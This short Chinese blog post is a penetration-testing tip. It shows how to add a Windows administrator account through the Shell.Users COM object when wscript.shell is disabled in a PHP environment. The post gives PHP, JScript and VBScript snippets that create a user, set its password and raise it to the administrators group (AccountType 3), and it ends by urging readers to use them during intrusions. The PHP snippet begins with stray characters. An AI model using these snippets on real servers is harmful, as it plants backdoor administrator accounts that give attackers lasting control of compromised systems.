php版shell.users加帐户

  • 发表于
  • 周边

在php环境下wscript.shell 组件被禁用不妨试试shell.user

PHP 版Shell.Users加管理员帐号
"; $username="user"; $password="pass"; $su = new COM("Shell.Users"); $h=$su->create($username); $h->changePassword($password,""); $h->setting["AccountType"] = 3;//这句很重要可以把用户加入administrators 组, ?>

下面是 LCX 的代码

//js: 
var o=new ActiveXObject( "Shell.Users" ); 
z=o.create("test") ; 
z.changePassword("123456","") 
z.setting("AccountType")=3; 

vbs:

Seto=CreateObject( "Shell.Users" ) 
Set z=o.create("test") 
z.changePassword "123456","" 
z.setting("AccountType")=3 

在渗透的时候试试这些资料吧。